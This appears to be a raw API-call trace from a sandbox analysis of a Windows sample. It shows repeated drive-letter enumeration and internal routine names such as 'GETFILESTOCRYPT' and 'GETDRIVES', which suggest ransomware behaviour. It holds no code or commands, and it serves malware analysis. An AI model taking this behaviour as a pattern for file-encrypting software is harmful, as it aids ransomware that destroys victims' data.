(lpRootPathName="r:\\") returned 0x1 [0085.888] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.888] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.888] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.888] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.888] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.888] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.889] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.889] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.889] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.889] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.889] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.889] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.889] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.889] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.889] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.889] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.889] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.889] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.889] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.890] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.890] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.890] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.890] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.890] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.890] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.890] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.890] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.890] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.890] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.890] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.890] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.890] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.891] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.891] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.891] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.891] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.891] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.891] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.891] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.891] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.891] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.892] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.892] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.892] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.892] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.892] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.892] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.892] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.892] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.892] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.893] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.893] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.893] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.893] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.893] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.893] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.893] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.893] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.893] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.893] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.893] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.893] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.893] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.893] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.893] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.893] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.893] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.894] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.894] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.894] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.894] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.894] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.894] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.894] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.894] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.894] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.894] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.895] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.895] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.895] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.895] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.895] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.895] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.895] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.896] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.896] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.896] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.896] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.896] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.896] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.896] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.896] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.896] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.896] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.896] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.896] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.897] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.897] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.897] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.897] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.897] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.897] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.897] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.897] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.897] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.897] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.897] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.897] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.897] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.897] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.897] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.897] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.897] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.897] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.897] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.898] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.898] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.898] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.898] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.898] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.898] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.898] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.898] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.898] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.898] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.898] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.898] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.899] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.899] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.899] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.899] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.899] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.899] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.899] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.899] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.899] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.899] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.899] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.900] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.900] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.900] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.900] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.900] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.900] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.900] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.900] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.900] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.900] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.900] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.900] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.900] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.900] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.900] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.900] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.900] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.901] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.901] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.901] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.901] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.901] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.901] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.901] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.901] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.901] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.901] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.901] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.901] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.902] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.902] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.902] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.902] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.902] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.902] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.902] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.902] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.902] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.902] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.902] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.903] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.903] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.903] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.903] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.903] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.903] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.903] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.903] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.903] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.903] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.903] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.903] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.903] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.903] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.903] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.903] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.903] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.903] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.903] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.903] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.903] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.904] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.904] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.904] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.904] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.904] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.904] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.904] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.904] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.904] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.904] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.905] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.905] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.905] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.905] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.905] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.905] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.905] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.905] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.905] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.905] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.905] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.906] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.906] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.906] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.906] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.906] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.906] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.906] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.906] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.906] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.906] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.906] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.906] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.906] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.906] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.906] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.906] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.906] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.906] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.907] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.907] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.907] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.907] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.907] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.907] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.907] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.907] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.907] GetDriveTypeW 